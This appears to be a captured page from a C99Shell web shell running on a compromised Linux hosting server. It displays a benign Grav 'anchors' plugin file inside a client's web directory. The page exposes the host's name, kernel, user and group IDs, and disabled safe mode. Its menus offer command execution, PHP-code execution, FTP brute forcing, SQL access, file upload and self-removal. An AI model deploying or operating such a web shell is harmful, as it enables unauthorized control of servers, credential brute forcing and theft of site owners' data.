!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/aps/xcrud/plugins/select2-develop/docs/plugins/anchors/   drwxr-xr-x
Free 180.01 GB of 490.84 GB (36.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     anchors.php (2.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Grav\Plugin;

use \
Grav\Common\Plugin;
use \
Grav\Common\Grav;
use \
Grav\Common\Page\Page;

class 
AnchorsPlugin extends Plugin
{
    
/**
     * @return array
     */
    
public static function getSubscribedEvents()
    {
        return [
            
'onPluginsInitialized' => ['onPluginsInitialized'0]
        ];
    }

    
/**
     * Initialize configuration
     */
    
public function onPluginsInitialized()
    {
        if (
$this->isAdmin()) {
            
$this->active false;
        } else {
            
$this->enable([
                
'onPageInitialized' => ['onPageInitialized'0],
                
'onTwigSiteVariables' => ['onTwigSiteVariables'0]
            ]);
        }
    }

    
/**
     * Initialize configuration
     */
    
public function onPageInitialized()
    {
        
$defaults = (array) $this->config->get('plugins.anchors');

        
/** @var Page $page */
        
$page $this->grav['page'];
        if (isset(
$page->header()->anchors)) {
            
$this->config->set('plugins.anchors'array_merge($defaults$page->header()->anchors));
        }
    }

    
/**
     * if enabled on this page, load the JS + CSS and set the selectors.
     */
    
public function onTwigSiteVariables()
    {
        if (
$this->config->get('plugins.anchors.active')) {
            
$selectors $this->config->get('plugins.anchors.selectors''h1,h2,h3,h4');

            
$visible "visible: '{$this->config->get('plugins.anchors.visible''hover')}',";
            
$placement "placement: '{$this->config->get('plugins.anchors.placement''right')}',";
            
$icon $this->config->get('plugins.anchors.icon') ? "icon: '{$this->config->get('plugins.anchors.icon')}'," '';
            
$class $this->config->get('plugins.anchors.class') ? "class: '{$this->config->get('plugins.anchors.class')}'," '';
            
$truncate "truncate: {$this->config->get('plugins.anchors.truncate'64)}";

            
$this->grav['assets']->addJs('plugin://anchors/js/anchor.min.js');

            
$anchors_init "$(document).ready(function() {
                                anchors.options = {
                                    
$visible
                                    
$placement
                                    
$icon
                                    
$class
                                    
$truncate
                                };
                                anchors.add('
$selectors');
                             });"
;


            
$this->grav['assets']->addInlineJs($anchors_init);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.014 ]--